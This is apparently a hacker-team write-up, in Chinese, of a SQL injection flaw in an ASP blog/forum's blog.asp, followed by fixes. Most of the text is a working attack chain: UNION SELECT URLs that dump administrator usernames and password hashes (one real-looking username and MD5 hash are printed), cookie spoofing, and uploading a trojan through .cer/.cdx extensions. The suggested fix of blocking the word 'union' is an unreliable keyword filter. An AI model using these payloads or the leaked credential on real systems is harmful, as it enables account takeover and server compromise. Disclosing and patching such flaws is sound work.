新漏洞,对sql和access通杀 ALLyeSNo[Godkiller Team]
漏洞处在blog.asp中:如下代码
-----------------------------------------------------------------
<!-- #include file="setup.asp" --><%
username=HTMLEncode(Request("username"))
id=HTMLEncode(Request("id"))
top
if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
--------------------------------------------------------------
好,这里id直接到sql语句中,只用htmlencode函数来过滤。在setup.asp中对htmlencode()有如下解释:
-----------------------------------------------
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"\","\")
fString=replace(fString,"--","--")
fString=replace(fString,"'","'")
fString=replace(fString," "," ")
fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
-----------------------------------------------
显然过滤是不严格的,我们可以通过构造union子查询来突破。
所以去calendar表中看看,发现有7个字段。好如下构造:
blog.asp?id=1 union select top 1 1,1,1,1,1,1,1 from [user]
提交成功后,页面会出现如下图案:
这样表明成功了,可以继续构造:(当然是获得管理员的拉,一般用户有个屁用 :P)
blog.asp?id=1 union select top 1 1,1,1,1,1,1,1 from [user] where membercode=5
恩,显示还是一样,说明存在管理员用户(按他们内部说法是区长,吐。。。)。所以继续:
blog.asp?id=1 union select top 1 1,username,userpass,1,1,1,1 from [user] where membercode=5
这样就会如下显示:
ok,我们一次就得到了管理员的用户名和密码:
BioChina
D1292AD80E7732A8B4D7C165D271102A
当然这只能得到第一个,如果各位想看到底有多少个:
blog.asp?id=1 union select 1,1,count(*),1,1,1,1 from [user] where membercode=5
当然也可以全部列出来:
blog.asp?id=1 union select 1,1,username,userpass,1,1,1 from [user] where membercode=5
好,下面将要获得区长密码:
blog.asp?id=1%20union%20select%201,1,adminpassword,1,1,1,1%20from%20[clubconfig]
后面就是关于怎么登陆了,有两种办法
1 暴力破解md5密码,这里是32位的
2 利用cookie欺骗直接进入
其实我很赞赏第一种办法,不管怎么样进入后台还是要必须暴力破解区长密码的。
我说的这些不是没有根据的,直接看看代码吧:
先看看前台的,我在setup.asp中发现了一段
if Request.Cookies("username") <> empty then
sql="select * from [user] where username='"&HTMLEncode(Request.Cookies("username"))&"'"
Set Rs=Conn.Execute(SQL)
if rs.eof then Response.Cookies("username")=""
if Request.Cookies("userpass") <> rs("userpass") then Response.Cookies("username")=""
membercode=rs("membercode")
userface=""&rs("userface")&""
newmessage=rs("newmessage")
userlife=rs("userlife")
set rs=nothing
end if
我们发现前台是可以通过cookie欺骗来混过去的。
再看看后台的,在admin.asp中:
sub pass
session("pass")=md5(""&Request("pass")&"")
if adminpassword<>session("pass") then error2("社区管理密码错误")
这样是无法通过cookie欺骗饶过的。
cookie欺骗,我用iecv。登陆时要选”保存密码“
这样就可以完美的欺骗了,对于后台密码,我们只能暴破。登陆后进入后台,在上传选项中添加一个
|cer或者|cdx 就可以上传木马了。
因为最新的代码这有如此一句
sub check(typ)
if instr("|"&UpFileGenre&"|","|"&typ&"|") <= 0 or typ="asa" or typ="asp" then error2("对不起,本服务器不支持 "&typ&" 格式的文件")
end sub
ok ,now
防范方法:
1 在setup.asp的htmlencode()函数修改如下:
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"\","\")
fString=replace(fString,"--","--")
fString=replace(fString,"'","'")
fString=replace(fString," "," ")
fString=replace(fString,"union","wrong")
fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
-----------------------------------------------
2 或者这样修改,在blog.asp中加一句
id=HTMLEncode(Request("id"))
id=Cint(id)
3 对于过滤应该改成这句
sub check(typ)
if instr("|"&UpFileGenre&"|","|"&typ&"|") <= 0 or typ="asa" or typ="asp" or typ="cer" or typ="cdx" then error2("对不起,本服务器不支持 "&typ&" 格式的文件")
end sub
当然,没有对扩展名的空格进行过滤,我想还是一个隐患!
4 当然对服务器的设置,只要对所有的主目录以下的目录设置成不执行脚本就可以了!
还有就是删除映射。。这样cdx cer就不起作用了。
当然如果是对方是利用sql server来连接数据库的话,那就更好玩了
一句 update就可以搞定了!
浙公网安备 33010602011771号